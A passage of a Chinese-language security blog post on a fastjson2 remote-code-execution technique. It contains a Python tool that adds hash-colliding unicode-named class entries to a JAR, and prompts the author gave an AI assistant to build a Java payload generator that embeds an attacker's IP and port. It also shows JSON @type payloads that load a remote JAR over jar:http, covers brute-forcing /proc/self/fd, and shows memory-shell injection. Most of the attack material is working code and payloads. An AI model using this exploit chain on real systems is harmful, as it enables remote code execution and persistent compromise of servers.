1. 读取 JAR, 找到原 class 条目, 缓存其内容
|
||
2. 解析 unicode 转义串 (\\uXXXX -> 实际字符)
|
||
3. 构造新条目名: <原文件名去扩展名> + <解码字符> + <扩展名>
|
||
例: Hello.class + \\ue94c... -> Hello\\ue94c... uc17c... .class
|
||
4. 创建临时 JAR, 复制所有原条目 + 追加新条目
|
||
5. 用临时 JAR 替换原 JAR
|
||
6. 验证新条目存在且内容与原条目一致
|
||
"""</span>
|
||
<span class="hljs-keyword">import</span> sys
|
||
<span class="hljs-keyword">import</span> re
|
||
<span class="hljs-keyword">import</span> os
|
||
<span class="hljs-keyword">import</span> shutil
|
||
<span class="hljs-keyword">import</span> zipfile
|
||
<span class="hljs-keyword">import</span> tempfile
|
||
|
||
|
||
<span class="hljs-keyword">def</span> <span class="hljs-title function_">decode_unicode_escapes</span>(<span class="hljs-params">s</span>):
|
||
<span class="hljs-string">"""
|
||
将 \\uXXXX 格式的字符串解码为实际 unicode 字符.
|
||
支持混合字面字符和转义序列: "Hello\\u4e16\\u754c" -> "Hello世界"
|
||
若传入的已是实际字符 (无 \\u 转义), 原样返回.
|
||
"""</span>
|
||
pattern = re.<span class="hljs-built_in">compile</span>(<span class="hljs-string">r'\\u([0-9a-fA-F]{4})'</span>)
|
||
<span class="hljs-keyword">return</span> pattern.sub(<span class="hljs-keyword">lambda</span> m: <span class="hljs-built_in">chr</span>(<span class="hljs-built_in">int</span>(m.group(<span class="hljs-number">1</span>), <span class="hljs-number">16</span>)), s)
|
||
|
||
|
||
<span class="hljs-keyword">def</span> <span class="hljs-title function_">split_extension</span>(<span class="hljs-params">name</span>):
|
||
<span class="hljs-string">"""
|
||
分离条目名的主体和扩展名.
|
||
Hello.class -> ('Hello', '.class')
|
||
com/foo/Bar.class -> ('com/foo/Bar', '.class')
|
||
Hello -> ('Hello', '')
|
||
"""</span>
|
||
idx = name.rfind(<span class="hljs-string">'.'</span>)
|
||
<span class="hljs-comment"># 排除路径中的点 (如 com.foo/Bar 中的第一个点)</span>
|
||
<span class="hljs-comment"># 只认最后一个点, 且该点后面不是路径分隔符</span>
|
||
<span class="hljs-keyword">if</span> idx > <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> <span class="hljs-string">'/'</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> name[idx:]:
|
||
<span class="hljs-keyword">return</span> name[:idx], name[idx:]
|
||
<span class="hljs-keyword">return</span> name, <span class="hljs-string">''</span>
|
||
|
||
|
||
<span class="hljs-keyword">def</span> <span class="hljs-title function_">main</span>():
|
||
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) != <span class="hljs-number">4</span>:
|
||
<span class="hljs-built_in">print</span>(__doc__)
|
||
sys.exit(<span class="hljs-number">1</span>)
|
||
|
||
jar_path = sys.argv[<span class="hljs-number">1</span>]
|
||
original_class = sys.argv[<span class="hljs-number">2</span>]
|
||
unicode_str = sys.argv[<span class="hljs-number">3</span>]
|
||
|
||
<span class="hljs-comment"># 解码 unicode 转义</span>
|
||
decoded = decode_unicode_escapes(unicode_str)
|
||
|
||
<span class="hljs-comment"># 分离原 class 文件名和扩展名</span>
|
||
base_name, ext = split_extension(original_class)
|
||
|
||
<span class="hljs-comment"># 构造新条目名: base_name + decoded + ext</span>
|
||
new_entry_name = base_name + decoded + ext
|
||
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" JAR 碰撞条目复制工具"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" JAR 文件: <span class="hljs-subst">{jar_path}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 原 class 条目: <span class="hljs-subst">{original_class}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" Unicode 输入: <span class="hljs-subst">{unicode_str}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 解码后字符: <span class="hljs-subst">{<span class="hljs-built_in">repr</span>(decoded)}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 解码后 Unicode: <span class="hljs-subst">{<span class="hljs-string">''</span>.join(<span class="hljs-built_in">chr</span>(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> [<span class="hljs-built_in">ord</span>(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> decoded])!r}</span>"</span>)
|
||
decoded_unicode_repr = <span class="hljs-string">''</span>.join(<span class="hljs-string">'\\u{:04x}'</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">ord</span>(c)) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> decoded)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 解码后转义形式: <span class="hljs-subst">{decoded_unicode_repr}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 新条目名: <span class="hljs-subst">{<span class="hljs-built_in">repr</span>(new_entry_name)}</span>"</span>)
|
||
new_unicode_repr = <span class="hljs-string">''</span>.join(<span class="hljs-string">'\\u{:04x}'</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">ord</span>(c)) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> new_entry_name)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 新条目 Unicode: <span class="hljs-subst">{new_unicode_repr}</span>"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
|
||
<span class="hljs-comment"># 检查 JAR 文件</span>
|
||
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.exists(jar_path):
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ JAR 文件不存在: <span class="hljs-subst">{jar_path}</span>"</span>)
|
||
sys.exit(<span class="hljs-number">1</span>)
|
||
|
||
<span class="hljs-comment"># 读取原 class 内容并检查</span>
|
||
<span class="hljs-keyword">try</span>:
|
||
<span class="hljs-keyword">with</span> zipfile.ZipFile(jar_path, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> zf:
|
||
names = zf.namelist()
|
||
<span class="hljs-keyword">if</span> original_class <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> names:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ 原 class 条目 [<span class="hljs-subst">{original_class}</span>] 不在 JAR 中"</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" JAR 当前条目列表:"</span>)
|
||
<span class="hljs-keyword">for</span> n <span class="hljs-keyword">in</span> names:
|
||
display = n.encode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'backslashreplace'</span>).decode(<span class="hljs-string">'utf-8'</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" <span class="hljs-subst">{display}</span>"</span>)
|
||
sys.exit(<span class="hljs-number">1</span>)
|
||
original_data = zf.read(original_class)
|
||
existing_new = new_entry_name <span class="hljs-keyword">in</span> names
|
||
<span class="hljs-keyword">except</span> zipfile.BadZipFile:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ 不是有效的 ZIP/JAR 文件: <span class="hljs-subst">{jar_path}</span>"</span>)
|
||
sys.exit(<span class="hljs-number">1</span>)
|
||
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✓ 找到原条目 [<span class="hljs-subst">{original_class}</span>], 大小 <span class="hljs-subst">{<span class="hljs-built_in">len</span>(original_data)}</span> 字节"</span>)
|
||
<span class="hljs-keyword">if</span> existing_new:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ⚠ 新条目已存在, 将覆盖"</span>)
|
||
|
||
<span class="hljs-comment"># 创建临时文件, 复制所有条目 + 添加新条目</span>
|
||
fd, tmp_path = tempfile.mkstemp(suffix=<span class="hljs-string">'.jar'</span>)
|
||
os.close(fd)
|
||
|
||
<span class="hljs-keyword">try</span>:
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 写入新 JAR..."</span>)
|
||
<span class="hljs-keyword">with</span> zipfile.ZipFile(jar_path, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> src:
|
||
<span class="hljs-keyword">with</span> zipfile.ZipFile(tmp_path, <span class="hljs-string">'w'</span>, zipfile.ZIP_DEFLATED) <span class="hljs-keyword">as</span> dst:
|
||
<span class="hljs-comment"># 复制所有原条目 (跳过与新条目同名的, 稍后统一写)</span>
|
||
<span class="hljs-keyword">for</span> item <span class="hljs-keyword">in</span> src.infolist():
|
||
<span class="hljs-keyword">if</span> item.filename == new_entry_name:
|
||
<span class="hljs-keyword">continue</span>
|
||
<span class="hljs-comment"># 用 ZipInfo 保留原条目的压缩方式/时间戳等元信息</span>
|
||
dst.writestr(item, src.read(item.filename))
|
||
<span class="hljs-comment"># 追加新条目 (内容复制自原 class)</span>
|
||
dst.writestr(new_entry_name, original_data)
|
||
|
||
<span class="hljs-comment"># 用临时文件替换原 JAR</span>
|
||
shutil.move(tmp_path, jar_path)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✓ 已添加新条目"</span>)
|
||
|
||
<span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
|
||
<span class="hljs-keyword">if</span> os.path.exists(tmp_path):
|
||
os.unlink(tmp_path)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" ✗ 操作失败: <span class="hljs-subst">{e}</span>"</span>)
|
||
sys.exit(<span class="hljs-number">1</span>)
|
||
|
||
<span class="hljs-comment"># 验证结果</span>
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">" 验证结果"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"─"</span> * <span class="hljs-number">64</span>)
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-keyword">with</span> zipfile.ZipFile(jar_path, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> zf:
|
||
names = zf.namelist()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" JAR 条目列表 (<span class="hljs-subst">{<span class="hljs-built_in">len</span>(names)}</span> 项):"</span>)
|
||
<span class="hljs-keyword">for</span> n <span class="hljs-keyword">in</span> names:
|
||
display = n.encode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'backslashreplace'</span>).decode(<span class="hljs-string">'utf-8'</span>)
|
||
unicode_repr = <span class="hljs-string">''</span>.join(<span class="hljs-string">'\\u{:04x}'</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">ord</span>(c)) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> n)
|
||
marker = <span class="hljs-string">' ★ 新增'</span> <span class="hljs-keyword">if</span> n == new_entry_name <span class="hljs-keyword">else</span> <span class="hljs-string">''</span>
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" <span class="hljs-subst">{display}</span><span class="hljs-subst">{marker}</span>"</span>)
|
||
<span class="hljs-keyword">if</span> n == new_entry_name:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" unicode: <span class="hljs-subst">{unicode_repr}</span>"</span>)
|
||
data = zf.read(n)
|
||
<span class="hljs-keyword">if</span> data == original_data:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 内容校验: ✓ 与原条目一致 (<span class="hljs-subst">{<span class="hljs-built_in">len</span>(data)}</span> 字节)"</span>)
|
||
<span class="hljs-keyword">else</span>:
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 内容校验: ✗ 与原条目不一致!"</span>)
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">f" 原条目: <span class="hljs-subst">{<span class="hljs-built_in">len</span>(original_data)}</span> 字节, 新条目: <span class="hljs-subst">{<span class="hljs-built_in">len</span>(data)}</span> 字节"</span>)
|
||
|
||
<span class="hljs-built_in">print</span>()
|
||
<span class="hljs-built_in">print</span>(<span class="hljs-string">"═"</span> * <span class="hljs-number">64</span>)
|
||
|
||
|
||
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
|
||
main()
|
||
</code></pre><p>最终结果:</p>
|
||
<p><img src="https://i.ibb.co/tt96WTs/4291027d0aae.png" alt="1b89afac-0b2d-4146-b880-af329b0c4c63.png"></p>
|
||
<p>当前仅是驻留到受害机 /proc/{pid}/fd 中案例, 先使用 0kb 的文件做测试:</p>
|
||
<p><img src="https://i.ibb.co/bcxJDxb/3098f6d4aae6.png" alt="图片.png"></p>
|
||
<p>最终驻留成功.</p>
|
||
<h3>POC 调试 & 攻击案例</h3>
|
||
<p>刚才的脚本仅仅是将jar 中的 class 文件名称符合传递的@type中的资源值, 若想要满足 RCE 还需要该 class 文件的内容(字节码)的类名同样带有 Unicode 编码. 此时对 AI 对我原 fastjson 1.2.83 的脚本进行说明了:</p>
|
||
<pre><code>我这里有一个项目:<span class="hljs-regexp">/Users/</span>heihu577<span class="hljs-regexp">/Desktop/</span>fastjson2<span class="hljs-regexp">/tools/</span>fastjson<span class="hljs-operator">-</span><span class="hljs-number">1.2</span>.<span class="hljs-number">83</span><span class="hljs-operator">-</span>rce<span class="hljs-operator">-</span>jar<span class="hljs-operator">-</span>generator<span class="hljs-operator">-</span><span class="hljs-number">1.0</span>.<span class="hljs-number">1</span><span class="hljs-operator">/</span><span class="hljs-type">GenJarBatch</span>.java,你可以 阅读一波 <span class="hljs-type">README</span>.md 文件之后,再看一波该 java 源码,现在我给你定义新的需求<span class="hljs-operator">。</span>新增:fnv_add_unicode_file 功能,对 cmd 或
|
||
defineClass 生成的 jar 文件进行分析<span class="hljs-operator">。</span><span class="hljs-number">1</span>: 分析出来 cmd 或 defineClass 生成的 jar 包,通过查看包名的形式能够定位到 fd0.<span class="hljs-type">Exception(假设生成的</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">文件是该结构,如果存在多个目录中存在</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">文件就依次进行如下操作),那么你可以通过</span> <span class="hljs-type">ASM</span> 类库或者其他手段分析包名以及类名的结构来拼接为之前案例中的: python fnv_collision.py <span class="hljs-operator">--</span><span class="hljs-keyword">prefix</span>
|
||
<span class="hljs-string">"jar:http:..2887610369:2333.Hello\!.Hello"</span> <span class="hljs-operator">-</span><span class="hljs-number">6293031534589903644</span> 中的 <span class="hljs-operator">--</span><span class="hljs-keyword">prefix</span> 部分(可能是 jar:file:.proc.<span class="hljs-keyword">self</span>.fd.数字<span class="hljs-operator">!</span>. fd 数字.<span class="hljs-type">Exception)这种结构</span><span class="hljs-operator">。</span><span class="hljs-number">2</span>. 根据枚举出来的 包名类名结构,通过 python fnv_collision.py <span class="hljs-operator">--</span><span class="hljs-keyword">prefix</span> <span class="hljs-string">"jar:http:..2887610369:2333.Hello\!.Hello"</span> <span class="hljs-operator">-</span><span class="hljs-number">6293031534589903644</span> 该脚本的逻辑来进行计算(是根据逻辑,但你需要写出对应
|
||
java 模块的功能来使得与该 python 的结果一致才行),得到其后缀需要增加的 <span class="hljs-type">Unicode</span> 码部分<span class="hljs-operator">。</span><span class="hljs-number">3</span>. 你已经知道了要增加什么 <span class="hljs-type">Unicode</span> 编码之后,你需要将 <span class="hljs-type">Hello</span> 类中的字节码中的类名部分进行修改(可以使用 asm 实现),修改为 “<span class="hljs-type">Hello</span><span class="hljs-operator">+</span><span class="hljs-type">Unicode</span> 值”,并且将该 <span class="hljs-keyword">class</span> <span class="hljs-title class_">文件加入到</span> jar 包中(文件名同样符合类名规律)<span class="hljs-operator">。</span>整个过程全部使用 java 语言,禁止 java 中嵌套 python<span class="hljs-operator">。</span>
|
||
</code></pre><p>坐等很长时间后, 又优化了一些细节:</p>
|
||
<pre><code>最后生成的 jar 包中,不是含有 class 文件吗,然后会输出:“jar:file:<span class="hljs-selector-class">.proc</span><span class="hljs-selector-class">.self</span><span class="hljs-selector-class">.fd</span>.<span class="hljs-number">256</span>!<span class="hljs-selector-class">.fd256</span>.Exception醍눲䕹ᄬ憬”,我现在想让你把每次处理完毕的结果保存到<span class="hljs-string">"result.txt"</span> 中。并且内容是:jar:file:<span class="hljs-selector-class">.proc</span><span class="hljs-selector-class">.self</span><span class="hljs-selector-class">.fd</span>.<NUM>!.fd<NUM>.Exception<Unicode 编码>,因为 fd 目录可能太多,然后你需要换行分割。
|
||
</code></pre><p>用于爆破时使用. 但外部 http 需要远程下载 jar 到 /proc/self/fd 中, 继续给 AI 思路:</p>
|
||
<pre><code>现在对原有的 <span class="hljs-keyword">cmd</span><span class="language-bash">/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。</span>
|
||
</code></pre><p>这是因为自己原编写的 fastjson 1.2.83 payload 的命令行参数存在攻击者 IP 和 PORT, 需要符合后续包名.</p>
|
||
<pre><code>让你做这一步,实际上是为了让你在 fnv_add_unicode_file 功能中增加两个需求:<span class="hljs-number">1</span>. 解析 <span class="hljs-number">1</span>.class 文件内容中的 ip 和 <span class="hljs-keyword">port</span> 部分,组合为:jar:http:..<span class="hljs-variable"><IP的10进制></span>:<span class="hljs-variable"><IP的端口号></span>.<span class="hljs-variable"><命令行中指明的文件名></span>!.<span class="hljs-number">1</span> <span class="hljs-number">2</span>. 对组合结果进行 z3-fnv算法解方程,最后要拼接出:jar:http:..<span class="hljs-variable"><IP的10进制></span>:<span class="hljs-variable"><IP的端口号></span>.<span class="hljs-variable"><命令行中指明的文件名></span>!.<span class="hljs-number">1</span><span class="hljs-variable"><Unicode编码></span> <span class="hljs-number">3</span>. 拼接完成之后,在最终处理的 jar 包内增加这样一个真实文件,最最最后需要告诉用户首先使用该 payload 进行远程服务器下载。
|
||
</code></pre><p>最终实现效果, 先是工具提示远程拉取:</p>
|
||
<p><img src="https://i.ibb.co/Zp3xzttz/72223aeb2fcb.png" alt="573738ea-efc8-460a-99ff-ecb6eda2b69d.png"></p>
|
||
<p>随后是工具生成的 result.txt 进行爆破:</p>
|
||
<p><img src="https://i.ibb.co/cHTpXW3/5ffebf574ea5.png" alt="a822e005-77ce-4d25-a68e-51bafd390b33.png"></p>
|
||
<p>另外这里调教 AI 使用了 java 的 z3 实现解方程的效果.</p>
|
||
<h3>内存马注入</h3>
|
||
<p>先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar:</p>
|
||
<p><img src="https://i.ibb.co/twMfQfqT/881154ba7009.png" alt="7f3a91df-e50e-4da5-9517-b447f97a7be8.png"></p>
|
||
<p>最终结果:</p>
|
||
<p><img src="https://i.ibb.co/sdrrRTyF/3825801bf50c.png" alt="图片.png"></p>
|
||
<h1>其他语法</h1>
|
||
<p>参考: <a href="https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw">https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw</a> 师傅的两个姿势, 除了 JSON.parseObject 以外仍然可以通过:</p>
|
||
<pre><code><span class="hljs-built_in">JSON</span>.parseObject(可控,List.<span class="hljs-keyword">class</span>)
|
||
<span class="hljs-built_in">JSON</span>.parseObject(可控,<span class="hljs-built_in">Set</span>.<span class="hljs-keyword">class</span>)
|
||
<span class="hljs-built_in">JSON</span>.parse(可控)
|
||
</code></pre><p>进行 RCE, 简单跟一下:</p>
|
||
<pre><code><span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>jar:http:..2887610369.2333.Hello!.Hello<span class="hljs-char escape_">\\</span>u4124<span class="hljs-char escape_">\\</span>u130a<span class="hljs-char escape_">\\</span>u789a<span class="hljs-char escape_">\\</span>u4bf1<span class="hljs-char escape_">\\</span>ufcf5<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}"</span>;
|
||
<span class="hljs-comment">// 不指定目标类,解析成 JSONObject</span>
|
||
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parseObject</span>(<span class="hljs-variable">jsonWithType</span>, <span class="hljs-title class_">List</span>.<span class="hljs-property">class</span>);
|
||
<span class="hljs-title class_">System</span>.<span class="hljs-property">out</span>.<span class="hljs-property">println</span>(<span class="hljs-variable">obj</span>);
|
||
</code></pre><p><img src="https://i.ibb.co/mVk7zctZ/fdd5e6745113.png" alt="1eef94c8-abd1-4fa6-a96b-42e17bdde27a.png"></p>
|
||
<p>以及:</p>
|
||
<pre><code><span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>jar:http:..2887610369.2333.Hello!.Hello<span class="hljs-char escape_">\\</span>u4124<span class="hljs-char escape_">\\</span>u130a<span class="hljs-char escape_">\\</span>u789a<span class="hljs-char escape_">\\</span>u4bf1<span class="hljs-char escape_">\\</span>ufcf5<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}"</span>;
|
||
<span class="hljs-comment">// 不指定目标类,解析成 JSONObject</span>
|
||
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parseObject</span>(<span class="hljs-variable">jsonWithType</span>, <span class="hljs-title class_">Set</span>.<span class="hljs-property">class</span>);
|
||
</code></pre><p><img src="https://i.ibb.co/23dmfmpp/ed8a5f6df09d.png" alt="e9c10b23-f713-4caf-a5c9-ab3490792764.png"></p>
|
||
<p>以及:</p>
|
||
<pre><code><span class="hljs-title class_">String</span> <span class="hljs-variable">jsonWithType</span> <span class="hljs-operator">=</span> <span class="hljs-string">"[{<span class="hljs-char escape_">\"</span>@type<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>jar:http:..2887610369.2333.Hello!.Hello<span class="hljs-char escape_">\\</span>u4124<span class="hljs-char escape_">\\</span>u130a<span class="hljs-char escape_">\\</span>u789a<span class="hljs-char escape_">\\</span>u4bf1<span class="hljs-char escape_">\\</span>ufcf5<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>name<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice<span class="hljs-char escape_">\"</span>,<span class="hljs-char escape_">\"</span>age<span class="hljs-char escape_">\"</span>:25,<span class="hljs-char escape_">\"</span>email<span class="hljs-char escape_">\"</span>:<span class="hljs-char escape_">\"</span>alice@lab.local<span class="hljs-char escape_">\"</span>}]"</span>;
|
||
<span class="hljs-comment">// 不指定目标类,解析成 JSONObject</span>
|
||
<span class="hljs-title class_">Object</span> <span class="hljs-variable">obj</span> <span class="hljs-operator">=</span> <span class="hljs-variable">JSON</span>.<span class="hljs-property">parse</span>(<span class="hljs-variable">jsonWithType</span>);
|
||
<span class="hljs-title class_">System</span>.<span class="hljs-property">out</span>.<span class="hljs-property">println</span>(<span class="hljs-variable">obj</span>);
|
||
</code></pre><p><img src="https://i.ibb.co/1JhWNBgd/70c115ef590b.png" alt="07bf767e-feb0-4b96-89c0-7d868e03622b.png"></p>
|
||
<p>相对于 JSON.parse 来说, 多了一步选择器的操作:</p>
|
||
<p><img src="https://i.ibb.co/x8LS4Lrn/25febf05f1c0.png" alt="adf17043-6a29-4ae2-8df6-5b6c01e3029d.png"></p>
|
||
<h2>其他补充</h2>
|
||
<p>往上找一下看还有哪些语法能够调用该方法的 readObject, 查找了一番有如下类:</p>
|
||
<pre><code><span class="hljs-type">JSON</span>.parseObject(jsonWithType, Collection.<span class="hljs-keyword">class</span>);
|
||
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, ArrayList.<span class="hljs-keyword">class</span>);
|
||
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, HashSet.<span class="hljs-keyword">class</span>);
|
||
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, Comparable.<span class="hljs-keyword">class</span>);
|
||
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, <span class="hljs-keyword">Serializable</span>.<span class="hljs-keyword">class</span>);
|
||
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, Cloneable.<span class="hljs-keyword">class</span>);
|
||
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, Closeable.<span class="hljs-keyword">class</span>);
|
||
<span class="hljs-type">JSON</span>.parseObject(jsonWithType, <span class="hljs-keyword">Object</span>[].<span class="hljs-keyword">class</span>);
|
||
</code></pre><p>规律参考:</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>子类</th>
|
||
<th>类型</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>List 系</td>
|
||
<td>Iterable, Collection, List, AbstractCollection, AbstractList, ArrayList, Stack</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Queue/Deque 系</td>
|
||
<td>Queue, Deque, AbstractSequentialList, LinkedList, ConcurrentLinkedDeque, ConcurrentLinkedQueue, CopyOnWriteArrayList</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Set 系</td>
|
||
<td>Set, AbstractSet, EnumSet, NavigableSet, SortedSet, ConcurrentSkipListSet, LinkedHashSet, HashSet, TreeSet</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p>可能还有更多 parseObject 手法可打.</p>
|
||
<h1>Ending...</h1>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<div id="dokobot-selection-box-anchor" data-dokobot-overlay="true" style="position: fixed; pointer-events: none; display: none; z-index: 2147483647; background: none transparent !important; margin: 0px !important; padding: 0px !important; border-width: medium !important; border-style: none !important; border-color: currentcolor !important; border-image: none !important; box-shadow: none !important; outline: none !important; transform: none !important; box-sizing: border-box !important; filter: none !important; backdrop-filter: none !important; opacity: 0 !important; visibility: hidden !important;"></div><div data-dokobot-ignore="true" style="position: fixed; top: 0px; left: 0px; width: 0px; height: 0px; pointer-events: none; visibility: hidden; z-index: -1;"></div><div class="mermaidTooltip" style="opacity: 0; position: absolute; text-align: center; max-width: 200px; padding: 2px; font-size: 12px; background: rgb(255, 255, 222); border: 1px solid rgb(51, 51, 51); border-radius: 2px; pointer-events: none; z-index: 100;"></div></body></html> |